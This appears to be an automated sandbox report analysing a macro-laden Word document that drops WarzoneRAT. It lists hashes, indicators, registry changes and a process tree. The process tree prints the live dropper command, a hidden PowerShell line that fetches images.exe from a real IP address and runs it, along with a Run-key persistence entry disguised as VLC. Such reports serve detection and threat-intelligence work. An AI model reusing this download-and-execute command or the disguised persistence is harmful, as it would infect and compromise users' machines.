warzonerat | 228264e8f57dc120e866db9789ed5cf7456a486024dcd6d83a60c0b02cc11158

Analysis

max time kernel
109s
max time network
145s
platform
windows7_x64
resource
win7v20201028
submitted
02/11/2020, 06:35

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
SKMBT_C280190724201102.doc
Size 212KB
Sample201102-acrc1bbdne
SHA256 228264e8f57dc120e866db9789ed5cf7456a486024dcd6d83a60c0b02cc11158
MD5 8b40f760a193a3c91ab4a0a2b425ad18
SHA1 3c171a4d843deec19055254c62948f766351eb3f
SHA512 8c8c7fc85a7d6effa5dd8b04b0cab2fcb6152da2b306424de1487f5af292273733e5790f46fec836affb424c4e241663a4d656097840273c2a4241ead680b056
MD5 SHA1 SHA512

Score

10^/10

warzonerat infostealer persistence rat

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process	644	784	powershell.exe	24

WarzoneRat, AveMaria
WarzoneRat is a native RAT developed in C++ with multiple plugins sold as a MaaS.
rat infostealer warzonerat

Warzone RAT Payload 3 IoCs

rat

resource	yara_rule
behavioral1/memory/568-35-0x0000000000400000-0x0000000000554000-memory.dmp	warzonerat
behavioral1/memory/568-36-0x0000000000405CE2-mapping.dmp	warzonerat
behavioral1/memory/568-38-0x0000000000400000-0x0000000000554000-memory.dmp	warzonerat

Blacklisted process makes network request 1 IoCs

flow	pid	Process
6	644	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
1692	images.exe
568	images.exe

Loads dropped DLL 1 IoCs

pid	Process
644	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Windows\CurrentVersion\Run\vlc = "\"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\VideoLAN\\vlc.exe\""	images.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1692 set thread context of 568	1692	images.exe	34

Office loads VBA resources, possible macro or embedded object present

Modifies Internet Explorer settings 1 TTPs 9 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
784	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
644	powershell.exe
644	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
784	WINWORD.EXE

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	644	powershell.exe
Token: SeDebugPrivilege	1692	images.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
784	WINWORD.EXE
784	WINWORD.EXE
784	WINWORD.EXE

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 784 wrote to memory of 644	784	WINWORD.EXE	31
PID 784 wrote to memory of 644	784	WINWORD.EXE	31
PID 784 wrote to memory of 644	784	WINWORD.EXE	31
PID 784 wrote to memory of 644	784	WINWORD.EXE	31
PID 644 wrote to memory of 1692	644	powershell.exe	33
PID 644 wrote to memory of 1692	644	powershell.exe	33
PID 644 wrote to memory of 1692	644	powershell.exe	33
PID 644 wrote to memory of 1692	644	powershell.exe	33
PID 1692 wrote to memory of 568	1692	images.exe	34
PID 1692 wrote to memory of 568	1692	images.exe	34
PID 1692 wrote to memory of 568	1692	images.exe	34
PID 1692 wrote to memory of 568	1692	images.exe	34
PID 1692 wrote to memory of 568	1692	images.exe	34
PID 1692 wrote to memory of 568	1692	images.exe	34
PID 1692 wrote to memory of 568	1692	images.exe	34
PID 1692 wrote to memory of 568	1692	images.exe	34
PID 1692 wrote to memory of 568	1692	images.exe	34
PID 1692 wrote to memory of 568	1692	images.exe	34
PID 1692 wrote to memory of 568	1692	images.exe	34
PID 1692 wrote to memory of 568	1692	images.exe	34

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\SKMBT_C280190724201102.doc"
1⤵
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:784
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httP://13.90.228.87/excel/images.exe','C:\Users\Admin\AppData\Roaming\images.exe');Start-Process 'C:\Users\Admin\AppData\Roaming\images.exe'"
  2⤵
  - Process spawned unexpected child process
  - Blacklisted process makes network request
  - Loads dropped DLL
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:644
- - C:\Users\Admin\AppData\Roaming\images.exe
    "C:\Users\Admin\AppData\Roaming\images.exe"
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious use of SetThreadContext
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1692
  - - C:\Users\Admin\AppData\Roaming\images.exe
      "C:\Users\Admin\AppData\Roaming\images.exe"
      4⤵
      Executes dropped EXE
      PID:568

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/568-38-0x0000000000400000-0x0000000000554000-memory.dmp

Download

memory/568-35-0x0000000000400000-0x0000000000554000-memory.dmp

Download

memory/644-6-0x0000000005240000-0x0000000005241000-memory.dmp

Download

memory/644-4-0x00000000047C0000-0x00000000047C1000-memory.dmp

Download

memory/644-15-0x0000000005730000-0x0000000005731000-memory.dmp

Download

memory/644-22-0x0000000006280000-0x0000000006281000-memory.dmp

Download

memory/644-23-0x00000000062C0000-0x00000000062C1000-memory.dmp

Download

memory/644-9-0x0000000005610000-0x0000000005611000-memory.dmp

Download

memory/644-2-0x000000006B320000-0x000000006BA0E000-memory.dmp

Download

memory/644-5-0x0000000002510000-0x0000000002511000-memory.dmp

Download

memory/644-3-0x0000000001DA0000-0x0000000001DA1000-memory.dmp

Download

memory/644-14-0x00000000056C0000-0x00000000056C1000-memory.dmp

Download

memory/1692-33-0x0000000000980000-0x00000000009C6000-memory.dmp

Download

memory/1692-34-0x00000000008C0000-0x00000000008D6000-memory.dmp

Download

memory/1692-31-0x0000000000040000-0x0000000000041000-memory.dmp

Download

memory/1692-30-0x000000006B320000-0x000000006BA0E000-memory.dmp

Download

memory/1748-0-0x000007FEF6B80000-0x000007FEF6DFA000-memory.dmp

Download